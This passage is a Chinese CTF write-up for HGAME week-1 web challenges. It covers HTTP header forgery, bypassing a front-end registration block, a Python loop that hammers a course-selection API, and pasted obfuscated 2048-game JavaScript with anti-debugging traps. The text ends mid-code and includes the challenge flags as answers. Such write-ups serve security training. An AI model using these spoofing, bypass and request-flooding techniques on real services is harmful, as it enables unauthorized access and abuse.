WEEk1
web-ezhttp
考点
- http协议伪造
分析
伪造referer:
伪造ua头:
伪造ip:
从jwt得到flag:
flag
拿去解码得到flag:
{"F14g":"hgame{HTTP_!s_1mP0rT4nt}"}
web-Bypass it
考点
- 前端禁用
分析
注册被进制,但是是前端禁的,禁用js即可
flag
登陆进去得到flag
hgame{32963bf804322e48e1a328d491d5efeb7aad2703}
web-selected course
考点
- js代码审计
- 脚本能力
分析
目标就是在已满的课程中抢课
不过模拟的环境应该是每过一段时间有学生退课然后就可以抢到了
js代码审计
<script>
function togglePanelInfoContainer(panel) {
var panelInfoContainer = panel.querySelector(".panel-info-container");
if (panelInfoContainer.classList.contains("display-flex")) {
panelInfoContainer.classList.remove("display-flex");
panelInfoContainer.classList.add("display-none");
} else {
panelInfoContainer.classList.remove("display-none");
panelInfoContainer.classList.add("display-flex");
}
}
async function getCourses() {
try {
const response = await fetch('/api/courses');
const data = await response.json();
renderCourses(data.message);
} catch (error) {
console.log(error);
}
}
function renderCourses(courses) {
const selectorContainer = document.getElementById('selector-container');
courses.forEach(course => {
const section = document.createElement('section');
section.className = 'panel im-container';
section.setAttribute('data-id', course.id);
const panelHeader = document.createElement('div');
panelHeader.className = `
panel-header
${course.status ? 'selected' : 'to-select'}
`;
panelHeader.onclick = function() {
togglePanelInfoContainer(this.parentNode);
};
const panelText = document.createElement('p');
panelText.className = 'panel-text';
panelText.innerHTML = `
<span>${course.descrption} 状态:</span>
<span>${course.status ? '已选' : '未选'}</span>
`;
panelHeader.appendChild(panelText);
const panelInfoContainer = document.createElement('div');
panelInfoContainer.className = 'panel-info-container display-none';
const table = document.createElement('table');
const thead = document.createElement('thead');
thead.innerHTML = `
<tr>
<th>课程名称</th>
<th>课程性质</th>
<th>上课时间</th>
<th>教学地点</th>
<th>已选/容量</th>
<th>操作</th>
</tr>
`;
const tbody = document.createElement('tbody');
const row = document.createElement('tr');
row.innerHTML = `
<td>${course.name}</td>
<td>${course.sort}</td>
<td>${course.time}</td>
<td>${course.location}</td>
<td>${course.is_full ? '已满' : '未满'}</td>
<td>
<button class="selector-button ${course.status ? 'selected-button' : 'wait-select-button'}" onclick="selectCourse(${course.id})">${course.status ? '已选' : '选课'}</button>
</td>
`;
tbody.appendChild(row);
table.appendChild(thead);
table.appendChild(tbody);
panelInfoContainer.appendChild(table);
section.appendChild(panelHeader);
section.appendChild(panelInfoContainer);
selectorContainer.appendChild(section);
});
}
async function selectCourse(id) {
try {
const response = await fetch('/api/courses', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({
"id": id
})
});
const data = await response.json();
alert(data.message);
} catch (error) {
alert(data.message);
}
}
async function TellAgu() {
try {
const response = await fetch('/api/ok', {
method: 'GET',
headers: {
'Content-Type': 'application/json'
}
});
const data = await response.json();
alert(data.message);
} catch (error) {
alert(data.message);
}
}
getCourses();
</script>
无疑,最关键的是这两段
async function getCourses() {
try {
const response = await fetch('/api/courses');
const data = await response.json();
renderCourses(data.message);
} catch (error) {
console.log(error);
}
}
async function selectCourse(id) {
try {
const response = await fetch('/api/courses', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({
"id": id
})
});
const data = await response.json();
alert(data.message);
} catch (error) {
alert(data.message);
}
}
async function TellAgu() {
try {
const response = await fetch('/api/ok', {
method: 'GET',
headers: {
'Content-Type': 'application/json'
}
});
const data = await response.json();
alert(data.message);
} catch (error) {
alert(data.message);
}
}
可以看到获取选课信息和抢课都是/api/courses
接口
获取状态信息是api/ok
接口
编写python脚本抢课
最简易的:手动在选课界面刷新看成功没有
import requests
import json
url = 'http://47.100.245.185:30168/'
headers={'Content-Type':'application/json'}
while True:
for i in range(1,6):
post_url = f"{url}/api/courses"
payload={'id':i}
post_res = requests.post(post_url,headers=headers,json=payload)
print(post_res)
稍作优化:
import requests
import json
url = 'http://47.100.245.185:30168/'
headers={'Content-Type':'application/json'}
info = json.loads(requests.get(url='http://47.100.245.185:30168/api/courses').text)['message']
i=1
while True:
for j in range(1,6):
post_url = f"{url}/api/courses"
payload={'id':j}
print('course'+str(j)+':'+str(info[j-1]['status']))
post_res = requests.post(post_url,headers=headers,json=payload)
#print(post_res)
print("第"+str(i)+"轮选课结束\n")
i=i+1
flag
hgame{w0W_!_1E4Rn_To_u5e_5cripT_^_^}
web-2048* 16
考点
- js代码审计
- js代码修改如何生效?
分析
目标很明确,达到指定分数即可
js代码审计
f12被ban,浏览器找到更多工具-->开发者工具
点击右处跳过全部代码,进入关键代码审计 [[#关键代码]]
function q() {
const x = ["return (function() ", "51rDvFsO", "280bIrfll", "crossOrigin", "debu", "5573704jgYESE", "526422EOMPDB", "19pdzydt", "70220etHPRV", "26502443qIuDbf", '{}.constructor("return this")( )', "type", "string", "172742zcyDzi", "tagName", "include", "link", "LINK", "same-origin", "test", "function *\\( *\\)", "apply", "init", "386856yRDrIu", "addedNodes", 'link[rel="modulepreload"]', "length", "input", "stateObject", "modulepreload", "relList", "createElement", "supports", "10594465MEmbDB", "5JjJNqT", "setInterval", "querySelectorAll", "referrerPolicy", "credentials", "gger", "anonymous", "integrity", "observe", "action", "use-credentials", "constructor", "omit", "\\+\\+ *(?:[a-zA-Z_$][0-9a-zA-Z_$]*)"];
return q = function() {
return x
}
,
q()
}
(function(x, n) {
const e = z
, t = x();
for (; ; )
try {
if (-parseInt(e(285)) / 1 * (-parseInt(e(291)) / 2) + parseInt(e(279)) / 3 * (parseInt(e(286)) / 4) + -parseInt(e(264)) / 5 * (parseInt(e(284)) / 6) + -parseInt(e(263)) / 7 + -parseInt(e(283)) / 8 + -parseInt(e(253)) / 9 * (parseInt(e(280)) / 10) + parseInt(e(287)) / 11 === n)
break;
t.push(t.shift())
} catch {
t.push(t.shift())
}
}
)(q, -256319 + -5 * -139997 + 7 * 57662),
function() {
const x = z;
let n;
try {
n = Function(x(278) + x(288) + ");")()
} catch {
n = window
}
n[x(265)](V, 9793 + -977 * 9)
}(),
function() {
const n = z
, e = function() {
let o = !0;
return function(c, i) {
const f = o ? function() {
const b = z;
if (i) {
const s = i[b(251)](c, arguments);
return i = null,
s
}
}
: function() {}
;
return o = !1,
f
}
}()
, t = document[n(261)](n(294))[n(260)];
if (t && t[n(262)] && t[n(262)](n(259)))
return;
for (const o of document[n(266)](n(255)))
a(o);
new MutationObserver(o=>{
const c = n;
for (const i of o)
if (i[c(289)] === "childList")
for (const f of i[c(254)])
f[c(292)] === c(295) && f.rel === c(259) && a(f)
}
)[n(272)](document, {
childList: !0,
subtree: !0
});
function r(o) {
const c = n
, i = {};
return o[c(271)] && (i.integrity = o[c(271)]),
o[c(267)] && (i[c(267)] = o[c(267)]),
o[c(281)] === c(274) ? i.credentials = c(293) : o.crossOrigin === c(270) ? i[c(268)] = c(276) : i[c(268)] = c(296),
i
}
function a(o) {
if (function() {
e(this, function() {
const i = z
, f = new RegExp(i(250))
, b = new RegExp(i(277),"i")
, s = V(i(252));
!f[i(249)](s + "chain") || !b[i(249)](s + i(257)) ? s("0") : V()
})()
}(),
o.ep)
return;
o.ep = !0;
const c = r(o);
fetch(o.href, c)
}
}();
function z(x, n) {
const e = q();
return z = function(t, r) {
return t = t - (-109 * -23 + -6806 + 4548),
e[t]
}
,
z(x, n)
}
function V(x) {
function n(e) {
const t = z;
if (typeof e === t(290))
return (function(r) {}
)[t(275)]("while (true) {}")[t(251)]("counter");
("" + e / e)[t(256)] !== 3561 + 712 * -5 || e % (10 * 929 + 676 + 4973 * -2) === 8536 + -1 * 5 + -1 * 8531 ? (function() {
return !0
}
)[t(275)](t(282) + t(269)).call(t(273)) : (function() {
return !1
}
)[t(275)]("debu" + t(269))[t(251)](t(258)),
n(++e)
}
try {
if (x)
return n;
n(599 * -15 + 8263 * 1 + 722)
} catch {}
}
function B() {
var x = ["9LlsUAf", "6615190CZtzht", "action", "2SIEKZa", "input", "chain", "1839108xhNjEQ", "init", "constructor", "apply", "function *\\( *\\)", "stateObject", "length", "string", "return (function() ", "counter", "81IqYNDO", "setInterval", "380617hQAZKq", "5419190eBGzuu", "test", "gger", "634120aohGbc", "prototype", "44PVAEyQ", "debu", "\\+\\+ *(?:[a-zA-Z_$][0-9a-zA-Z_$]*)", "call", '{}.constructor("return this")( )', "914838PEvTmP", "4634546zPjRug", "bind"];
return B = function() {
return x
}
,
B()
}
function A(x, n) {
var e = B();
return A = function(t, r) {
t = t - (4285 * 1 + 5277 + -9265);
var a = e[t];
return a
}
,
A(x, n)
}
var Q = A;
(function(x, n) {
for (var e = A, t = x(); ; )
try {
var r = parseInt(e(323)) / 1 * (parseInt(e(308)) / 2) + parseInt(e(305)) / 3 * (-parseInt(e(311)) / 4) + -parseInt(e(324)) / 5 + parseInt(e(302)) / 6 + -parseInt(e(303)) / 7 + -parseInt(e(327)) / 8 * (-parseInt(e(321)) / 9) + -parseInt(e(306)) / 10 * (-parseInt(e(297)) / 11);
if (r === n)
break;
t.push(t.shift())
} catch {
t.push(t.shift())
}
}
)(B, 10751 * -125 + 1236271 * -1 + 50 * 66949),
function() {
var x = A, n;
try {
var e = Function(x(319) + x(301) + ");");
n = e()
} catch {
n = window
}
n[x(322)](t0, 9 * 189 + 9223 * -1 + 8522)
}();
var o0 = function() {
var x = !0;
return function(n, e) {
var t = x ? function() {
var r = A;
if (e) {
var a = e[r(314)](n, arguments);
return e = null,
a
}
}
: function() {}
;
return x = !1,
t
}
}();
(function() {
o0(this, function() {
var x = A
, n = new RegExp(x(315))
, e = new RegExp(x(299),"i")
, t = t0(x(312));
!n[x(325)](t + x(310)) || !e[x(325)](t + x(309)) ? t("0") : t0()
})()
}
)(),
Function.prototype[Q(304)] = Function[Q(328)][Q(304)] || function(x) {
var n = this;
return function(e) {
var t = A;
!(e instanceof Array) && (e = [e]),
n[t(314)](x, e)
}
}
;
function t0(x) {
function n(e) {
var t = A;
if (typeof e === t(318))
return (function(r) {}
)[t(313)]("while (true) {}")[t(314)](t(320));
("" + e / e)[t(317)] !== -5356 + 373 * 23 + 1 * -3222 || e % (6562 + 2 * -3208 + -126) === -4243 + -1 * -4243 ? (function() {
return !0
}
)[t(313)]("debu" + t(326))[t(300)](t(307)) : (function() {
return !1
}
)[t(313)](t(298) + t(326)).apply(t(316)),
n(++e)
}
try {
if (x)
return n;
n(-579 * -5 + 8573 * -1 + 5678)
} catch {}
}
function G() {
var x = ["return (function() ", "split", "toString", "defineProperty", "function *\\( *\\)", "contains", "1704196bMgWxW", "add", "setInterval", "apply", "call", "replace", "classList", "1269978Xzqbcj", "42zqXkFW", "init", "push", "input", "remove", "join", "debu", "gger", "className", "2346057LJZzHm", "while (true) {}", "constructor", '{}.constructor("return this")( )', "50806860EEqONn", "action", "__defineGetter__", "DOMTokenList", "test", "string", "prototype", "length", "1143075VSCewc", "splice", "843116UUCRvQ", "135YrtGzY", "indexOf", "30AgjxaK", "undefined", "\\+\\+ *(?:[a-zA-Z_$][0-9a-zA-Z_$]*)", "Element", "chain", "703568zlpkPs"];
return G = function() {
return x
}
,
G()
}
function w(x, n) {
var e = G();
return w = function(t, r) {
t = t - 137;
var a = e[t];
return a
}
,
w(x, n)
}
(function(x, n) {
for (var e = w, t = x(); ; )
try {
var r = parseInt(e(151)) / 1 + -parseInt(e(168)) / 2 + -parseInt(e(139)) / 3 + -parseInt(e(153)) / 4 * (parseInt(e(156)) / 5) + parseInt(e(175)) / 6 * (-parseInt(e(176)) / 7) + -parseInt(e(161)) / 8 * (parseInt(e(154)) / 9) + parseInt(e(143)) / 10;
if (r === n)
break;
t.push(t.shift())
} catch {
t.push(t.shift())
}
}
)(G, -3 * 399277 + 91961 + 920836 * 2),
function() {
var x = w
, n = function() {
var i = !0;
return function(f, b) {
var s = i ? function() {
var p = w;
if (b) {
var y = b[p(171)](f, arguments);
return b = null,
y
}
}
: function() {}
;
return i = !1,
s
}
}();
if (typeof window[x(159)] === x(157) || x(174)in document.documentElement)
return;
var e = Array.prototype
, t = e[x(178)]
, r = e[x(152)]
, a = e[x(181)];
function o(i) {
var f = x;
this.el = i;
for (var b = i[f(138)][f(173)](/^\s+|\s+$/g, "")[f(163)](/\s+/), s = 0; s < b[f(150)]; s++)
t[f(172)](this, b[s])
}
o[x(149)] = {
add: function(i) {
var f = x;
this[f(167)](i) || (t[f(172)](this, i),
this.el.className = this[f(164)]())
},
contains: function(i) {
var f = x;
return this.el[f(138)][f(155)](i) != -1
},
item: function(i) {
return this[i] || null
},
remove: function(i) {
var f = x;
if (this[f(167)](i)) {
for (var b = 0; b < this.length && this[b] != i; b++)
;
r[f(172)](this, b, 2 * -348 + -7029 + 2 * 3863),
this.el[f(138)] = this.toString()
}
},
toString: function() {
var i = x;
return a[i(172)](this, " ")
},
toggle: function(i) {
var f = x;
return this.contains(i) ? this[f(180)](i) : this[f(169)](i),
this[f(167)](i)
}
},
window[x(146)] = o;
function c(i, f, b) {
var s = x;
(function() {
n(this, function() {
var p = w
, y = new RegExp(p(166))
, R = new RegExp(p(158),"i")
, Y = W(p(177));
!y[p(147)](Y + p(160)) || !R[p(147)](Y + p(179)) ? Y("0") : W()
})()
}
)(),
Object[s(165)] ? Object.defineProperty(i, f, {
get: b
}) : i[s(145)](f, b)
}
c(HTMLElement[x(149)], x(174), function() {
return new o(this)
})
}(),
function() {
var x = w
, n = function() {
var t = w, r;
try {
r = Function(t(162) + t(142) + ");")()
} catch {
r = window
}
return r
}
, e = n();
e[x(170)](W, 2367 + 1 * -1367)
}();
function W(x) {
function n(e) {
var t = w;
if (typeof e === t(148))
return (function(r) {}
).constructor(t(140))[t(171)]("counter");
("" + e / e)[t(150)] !== 16487 + 1 * -16486 || e % (-3141 + -1281 * -5 + -4 * 811) === 0 ? (function() {
return !0
}
)[t(141)](t(182) + "gger")[t(172)](t(144)) : (function() {
return !1
}
)[t(141)]("debu" + t(137)).apply("stateObject"),
n(++e)
}
try {
if (x)
return n;
n(-8778 + -3 * -198 + 8184)
} catch {}
}
function C(x, n) {
var e = K();
return C = function(t, r) {
t = t - (-8611 + 1 * -5493 + -111 * -129);
var a = e[t];
return a
}
,
C(x, n)
}
(function(x, n) {
for (var e = C, t = x(); ; )
try {
var r = -parseInt(e(225)) / 1 + -parseInt(e(227)) / 2 * (-parseInt(e(235)) / 3) + -parseInt(e(216)) / 4 * (-parseInt(e(241)) / 5) + -parseInt(e(233)) / 6 + parseInt(e(246)) / 7 + parseInt(e(243)) / 8 + -parseInt(e(236)) / 9;
if (r === n)
break;
t.push(t.shift())
} catch {
t.push(t.shift())
}
}
)(K, -1 * 111745 + -168643 * -1 + 52114),
function() {
var x = C
, n = function() {
var a = !0;
return function(o, c) {
var i = a ? function() {
var f = C;
if (c) {
var b = c[f(231)](o, arguments);
return c = null,
b
}
}
: function() {}
;
return a = !1,
i
}
}();
(function() {
n(this, function() {
var a = C
, o = new RegExp(a(226))
, c = new RegExp("\\+\\+ *(?:[a-zA-Z_$][0-9a-zA-Z_$]*)","i")
, i = e0("init");
!o[a(221)](i + a(234)) || !c[a(221)](i + a(230)) ? i("0") : e0()
})()
}
)();
for (var e = 898 * -10 + -4777 + -1 * -13757, t = ["webkit", x(237)], r = 11 * -523 + 2041 * -2 + -9835 * -1; r < t[x(215)] && !window.requestAnimationFrame; ++r)
window[x(219)] = window[t[r] + x(245)],
window.cancelAnimationFrame = window[t[r] + x(238)] || window[t[r] + x(249)];
!window[x(219)] && (window.requestAnimationFrame = function(a) {
var o = x
, c = new Date()[o(217)]()
, i = Math[o(228)](601 * -4 + 5 * -34 + -99 * -26, -5571 + 151 * 37 - (c - e))
, f = window[o(244)](function() {
a(c + i)
}, i);
return e = c + i,
f
}
),
!window[x(229)] && (window[x(229)] = function(a) {
clearTimeout(a)
}
)
}();
function K() {
var x = ["70115vpPusE", "function *\\( *\\)", "6rsOtNX", "max", "cancelAnimationFrame", "input", "apply", "counter", "1239498Ejodmk", "chain", "145881ZODJcX", "258201rhRaGw", "moz", "CancelAnimationFrame", "action", "setInterval", "7045XIVanM", "debu", "896440ALmBrn", "setTimeout", "RequestAnimationFrame", "769762NphSHl", "gger", "constructor", "CancelRequestAnimationFrame", "length", "132gYoVxA", "getTime", "while (true) {}", "requestAnimationFrame", "call", "test", '{}.constructor("return this")( )', "stateObject", "return (function() "];
return K = function() {
return x
}
,
K()
}
function e0(x) {
function n(e) {
var t = C;
if (typeof e == "string")
return (function(r) {}
)[t(248)](t(218))[t(231)](t(232));
("" + e / e)[t(215)] !== -4551 * -1 + 7 * 643 + -9051 || e % (-262 * -5 + -1150 * 1 + -140) === 704 + 1 * -9830 + 18 * 507 ? (function() {
return !0
}
)[t(248)](t(242) + t(247))[t(220)](t(239)) : (function() {
return !1
}
)[t(248)]("debu" + t(247)).apply(t(223)),
n(++e)
}
try {
if (x)
return n;
n(-1747 * -5 + -3714 + 5021 * -1)
} catch {}
}
(function() {
var x = C, n;
try {
var e = Function(x(224) + x(222) + ");");
n = e()
} catch {
n = window
}
n[x(240)](e0, 67 * 105 + 1 * -2510 + -3525 * 1)
}
)();
function S(x, n) {
var e = L();
return S = function(t, r) {
t = t - (-37 + -14 * -23);
var a = e[t];
return a
}
,
S(x, n)
}
var m = S;
(function(x, n) {
for (var e = S, t = x(); ; )
try {
var r = parseInt(e(302)) / 1 + -parseInt(e(304)) / 2 + -parseInt(e(329)) / 3 * (-parseInt(e(341)) / 4) + parseInt(e(342)) / 5 + -parseInt(e(335)) / 6 + -parseInt(e(314)) / 7 * (parseInt(e(287)) / 8) + parseInt(e(313)) / 9 * (parseInt(e(316)) / 10);
if (r === n)
break;
t.push(t.shift())
} catch {
t.push(t.shift())
}
}
)(L, 485449 + -76157 * 11 + 771520);
var f0 = function() {
var x = !0;
return function(n, e) {
var t = x ? function() {
var r = S;
if (e) {
var a = e[r(319)](n, arguments);
return e = null,
a
}
}
: function() {}
;
return x = !1,
t
}
}();
(function() {
f0(this, function() {
var x = S
, n = new RegExp(x(299))
, e = new RegExp(x(339),"i")
, t = n0("init");
!n[x(285)](t + x(296)) || !e[x(285)](t + x(288)) ? t("0") : n0()
})()
}
)();
function k() {
var x = S;
this.events = {},
window.navigator[x(291)] ? (this.eventTouchstart = x(323),
this[x(332)] = x(307),
this.eventTouchend = "MSPointerUp") : (this[x(318)] = x(326),
this[x(332)] = x(345),
this.eventTouchend = x(328)),
this[x(348)]()
}
function L() {
var x = ["clientX", "MSPointerDown", "push", ".retry-button", "touchstart", "preventDefault", "touchend", "75eegQJU", "length", "eventTouchend", "eventTouchmove", "touches", "targetTouches", "3001158EZLWmg", "which", "restart", "emit", "\\+\\+ *(?:[a-zA-Z_$][0-9a-zA-Z_$]*)", "navigator", "17048CopiKL", "1874920nvbdip", "keydown", ".keep-playing-button", "touchmove", "string", "changedTouches", "listen", "test", '{}.constructor("return this")( )', "1431568bfoJpP", "input", "while (true) {}", "events", "msPointerEnabled", "keepPlaying", "setInterval", "addEventListener", "pageX", "chain", "action", "pageY", "function *\\( *\\)", "debu", "clientY", "717081qeHHls", "metaKey", "454404jxpplW", "counter", "call", "MSPointerMove", "game-container", "return (function() ", "gger", "bindButtonPress", "ctrlKey", "126AXFuSy", "14CoizGI", "constructor", "218510vtkZcF", "bind", "eventTouchstart", "apply", "prototype", "querySelector"];
return L = function() {
return x
}
,
L()
}
(function() {
var x = S, n;
try {
var e = Function(x(309) + x(286) + ");");
n = e()
} catch {
n = window
}
n[x(293)](n0, 1e3)
}
)(),
k[m(320)].on = function(x, n) {
var e = m;
!this[e(290)][x] && (this[e(290)][x] = []),
this[e(290)][x][e(324)](n)
}
,
k.prototype.emit = function(x, n) {
var e = this.events[x];
e && e.forEach(function(t) {
t(n)
})
}
,
k.prototype.listen = function() {
var x = m
, n = this
, e = {
38: 0,
39: 1,
40: 2,
37: 3,
75: 0,
76: 1,
74: 2,
72: 3,
87: 0,
68: 1,
83: 2,
65: 3
};
document[x(294)](x(343), function(o) {
var c = x
, i = o.altKey || o[c(312)] || o[c(303)] || o.shiftKey
, f = e[o[c(336)]];
!i && f !== void 0 && (o[c(327)](),
n[c(338)]("move", f)),
!i && o[c(336)] === 1 * -2163 + -3691 + 8 * 742 && n[c(337)].call(n, o)
}),
this[x(311)](x(325), this[x(337)]),
this[x(311)](".restart-button", this.restart),
this[x(311)](x(344), this.keepPlaying);
var t, r, a = document.getElementsByClassName(x(308))[7181 + 43 * -167];
a.addEventListener(this.eventTouchstart, function(o) {
var c = x;
!window[c(340)][c(291)] && o.touches.length > 7033 + 10 * -542 + -1612 || o[c(334)][c(330)] > 3004 + -13 * 231 || (window[c(340)][c(291)] ? (t = o[c(295)],
r = o[c(298)]) : (t = o[c(333)][181 * 54 + 9738 + -9756 * 2].clientX,
r = o[c(333)][-2910 + 15 * 62 + 180 * 11][c(301)]),
o[c(327)]())
}),
a[x(294)](this[x(332)], function(o) {
o.preventDefault()
}),
a[x(294)](this[x(331)], function(o) {
var c = x;
if (!(!window[c(340)][c(291)] && o[c(333)].length > 256 + -1 * -6271 + -61 * 107 || o[c(334)][c(330)] > 0)) {
var i, f;
window[c(340)][c(291)] ? (i = o[c(295)],
f = o[c(298)]) : (i = o[c(347)][-2280 + 570 * 4][c(322)],
f = o[c(347)][29 * 79 + 3 * -1868 + 1 * 3313].clientY);
var b = i - t
, s = Math.abs(b)
, p = f - r
, y = Math.abs(p);
Math.max(s, y) > 25 * -265 + -675 + 170 * 43 && n[c(338)]("move", s > y ? b > 0 ? -7662 + -97 * -79 : -45 * 25 + 8557 + 17 * -437 : p > 16 * -159 + 2 * 490 + -17 * -92 ? -10033 + 669 * 15 : 1617 + 1 * -4601 + 2984)
}
})
}
,
k.prototype[m(337)] = function(x) {
var n = m;
x[n(327)](),
this[n(338)](n(337))
}
,
k[m(320)][m(292)] = function(x) {
var n = m;
x[n(327)](),
this.emit(n(292))
}
,
k.prototype[m(311)] = function(x, n) {
var e = m
, t = document[e(321)](x);
t[e(294)]("click", n[e(317)](this)),
t[e(294)](this[e(331)], n[e(317)](this))
}
;
function n0(x) {
function n(e) {
var t = S;
if (typeof e === t(346))
return (function(r) {}
)[t(315)](t(289))[t(319)](t(305));
("" + e / e)[t(330)] !== 5053 * 1 + 8725 + -13777 || e % 20 === 6723 + -9 * 747 ? (function() {
return !0
}
)[t(315)](t(300) + "gger")[t(306)](t(297)) : (function() {
return !1
}
)[t(315)]("debu" + t(310))[t(319)]("stateObject"),
n(++e)
}
try {
if (x)
return n;
n(-1762 * -4 + 9094 + -16142)
} catch {}
}
var h = F;
(function(x, n) {
for (var e = F, t = x(); ; )
try {
var r = -parseInt(e(470)) / 1 + -parseInt(e(466)) / 2 + parseInt(e(487)) / 3 * (parseInt(e(430)) / 4) + parseInt(e(446)) / 5 + parseInt(e(493)) / 6 + -parseInt(e(431)) / 7 + parseInt(e(451)) / 8;
if (r === n)
break;
t.push(t.shift())
} catch {
t.push(t.shift())
}
}
)($, -1 * -639371 + -997 * 937 + 896117 * 1);
var u0 = function() {
var x = !0;
return function(n, e) {
var t = x ? function() {
var r = F;
if (e) {
var a = e[r(467)](n, arguments);
return e = null,
a
}
}
: function() {}
;
return x = !1,
t
}
}();
(function() {
u0(this, function() {
var x = F
, n = new RegExp(x(485))
, e = new RegExp(x(475),"i")
, t = r0(x(471));
!n.test(t + x(450)) || !e.test(t + "input") ? t("0") : r0()
})()
}
)();
function $() {
var x = ["debu", "charAt", "game-over", "push", "tile", "3218200jObBXv", "gger", "bestContainer", "firstChild", "chain", "4992592cfFfKg", "updateBestScore", "Game over!", "add", "score-addition", ".best-container", "over", ".tile-container", "scoreContainer", "counter", "clearMessage", "tile-", "tile-merged", "appendChild", "remove", "1457704JdCGrI", "apply", "clearContainer", "message", "1135845OAckHq", "init", "requestAnimationFrame", "addTile", "applyClasses", "\\+\\+ *(?:[a-zA-Z_$][0-9a-zA-Z_$]*)", "value", "while (true) {}", "call", "length", "querySelector", "indexOf", "string", "div", "tile-new", "function *\\( *\\)", "setInterval", "2589jWZTtI", "updateScore", "class", "createElement", "score", '{}.constructor("return this")( )', "4321134sPxlgc", "stateObject", "positionClass", "action", "terminated", "won", "tile-position-", "constructor", "join", "fromCharCode", "forEach", "textContent", "normalizePosition", "continueGame", "previousPosition", "bestScore", "3224mBKYMJ", "1522395ywebnW", "prototype", ".score-container", "actuate", "getElementsByTagName", "tile-super", "classList", "messageContainer", "I7R8ITMCnzbCn5eFIC=6yliXfzN=I5NMnz0XIC==yzycysi70ci7y7iK", "tileContainer"];
return $ = function() {
return x
}
,
$()
}
function g() {
var x = F;
this[x(440)] = document[x(480)](x(458)),
this[x(459)] = document[x(480)](x(433)),
this[x(448)] = document[x(480)](x(456)),
this.messageContainer = document[x(480)](".game-message"),
this[x(491)] = -4114 * 1 + -1 * 2915 + 7029
}
function F(x, n) {
var e = $();
return F = function(t, r) {
t = t - (-4073 * 1 + 84 * -39 + 7766);
var a = e[t];
return a
}
,
F(x, n)
}
g[h(432)][h(434)] = function(x, n) {
var e = h
, t = this;
window[e(472)](function() {
var r = e;
t[r(468)](t[r(440)]),
x.cells[r(424)](function(a) {
var o = r;
a[o(424)](function(c) {
c && t.addTile(c)
})
}),
t[r(488)](n[r(491)]),
t[r(452)](n[r(429)]),
n[r(418)] && (n[r(457)] ? t[r(469)](!1) : n[r(419)] && t[r(469)](!0))
})
}
,
g.prototype[h(427)] = function() {
var x = h;
this[x(461)]()
}
,
g[h(432)][h(468)] = function(x) {
for (var n = h; x[n(449)]; )
x.removeChild(x[n(449)])
}
,
g.prototype[h(473)] = function(x) {
var n = h
, e = this
, t = document.createElement(n(483))
, r = document[n(490)](n(483))
, a = x[n(428)] || {
x: x.x,
y: x.y
}
, o = this.positionClass(a)
, c = [n(445), n(462) + x.value, o];
x[n(476)] > 2048 && c[n(444)](n(436)),
this[n(474)](t, c),
r[n(437)][n(454)]("tile-inner"),
r[n(425)] = x[n(476)],
x[n(428)] ? window[n(472)](function() {
var i = n;
c[4313 + 1 * -1761 + -2550] = e[i(495)]({
x: x.x,
y: x.y
}),
e[i(474)](t, c)
}) : x.mergedFrom ? (c[n(444)](n(463)),
this[n(474)](t, c),
x.mergedFrom[n(424)](function(i) {
var f = n;
e[f(473)](i)
})) : (c[n(444)](n(484)),
this.applyClasses(t, c)),
t[n(464)](r),
this[n(440)][n(464)](t)
}
,
g[h(432)][h(474)] = function(x, n) {
var e = h;
x.setAttribute(e(489), n[e(422)](" "))
}
,
g[h(432)][h(426)] = function(x) {
return {
x: x.x + (-2 * -906 + 1171 + 21 * -142),
y: x.y + (237 * -31 + 3 * 4 + -1834 * -4)
}
}
,
g[h(432)][h(495)] = function(x) {
var n = h;
return x = this[n(426)](x),
n(420) + x.x + "-" + x.y
}
,
g[h(432)][h(488)] = function(x) {
var n = h;
this[n(468)](this[n(459)]);
var e = x - this[n(491)];
if (this[n(491)] = x,
this[n(459)][n(425)] = this[n(491)],
e > 4659 + -66 * 102 + 2073) {
var t = document[n(490)]("div");
t[n(437)][n(454)](n(455)),
t[n(425)] = "+" + e,
this.scoreContainer[n(464)](t)
}
}
,
g.prototype.updateBestScore = function(x) {
this.bestContainer.textContent = x
}
,
g[h(432)][h(469)] = function(x) {
var n = h
, e = x ? "game-won" : n(443)
, t = x ? s0(n(439), "V+g5LpoEej/fy0nPNivz9SswHIhGaDOmU8CuXb72dB1xYMrZFRAl=QcTq6JkWK4t3") : n(453);
this[n(438)][n(437)].add(e),
this[n(438)][n(435)]("p")[-1257 * -5 + 9 * 1094 + -5377 * 3].textContent = t
}
,
function() {
var x = h, n;
try {
var e = Function("return (function() " + x(492) + ");");
n = e()
} catch {
n = window
}
n[x(486)](r0, -1633 + -1033 * -6 + -115 * 31)
}(),
g[h(432)][h(461)] = function() {
var x = h;
this[x(438)][x(437)].remove("game-won"),
this[x(438)][x(437)][x(465)](x(443))
}
;
function s0(x, n) {
for (var e = h, t = 36 * 52 + -590 + -1282, r, a, o = -1 * -1971 + -678 + -1293, c = ""; a = x[e(442)](o++); ~a && (r = t % (-1 * 445 + -324 + -1 * -773) ? r * (-64 * 33 + -6548 + 8724) + a : a,
t++ % (-268 * -25 + 166 * -37 + -277 * 2)) ? c += String[e(423)](7397 + 173 * 13 + 1 * -9391 & r >> (-2 * t & 1573 + -2423 * 1 + -856 * -1)) : 3978 + -26 * 153)
a = n[e(481)](a);
return c
}
function r0(x) {
function n(e) {
var t = F;
if (typeof e === t(482))
return (function(r) {}
).constructor(t(477))[t(467)](t(460));
("" + e / e)[t(479)] !== 1 * 2807 + -6187 + 3381 || e % 20 === -178 + 1 * 178 ? (function() {
return !0
}
).constructor(t(441) + t(447))[t(478)](t(417)) : (function() {
return !1
}
)[t(421)](t(441) + t(447))[t(467)](t(494)),
n(++e)
}
try {
if (x)
return n;
n(-12472 + -1559 * -8)
} catch {}
}
var Z = E;
function N() {
var x = ["action", "string", "2331990Smsoio", "length", "function *\\( *\\)", "call", "input", "stateObject", "counter", "930bExSFt", "savePosition", "while (true) {}", "chain", "98601tspbnR", "setInterval", "constructor", "10EjKgiA", "\\+\\+ *(?:[a-zA-Z_$][0-9a-zA-Z_$]*)", "value", "test", "mergedFrom", "init", "debu", "prototype", "56CjCzAS", "677128zAClZZ", "previousPosition", "75022iPEXCA", "15202JaLHoO", "apply", "581502egQFhJ", "gger", "531924HtjIlh", "51xGTVPz", "serialize"];
return N = function() {
return x
}
,
N()
}
(function(x, n) {
for (var e = E, t = x(); ; )
try {
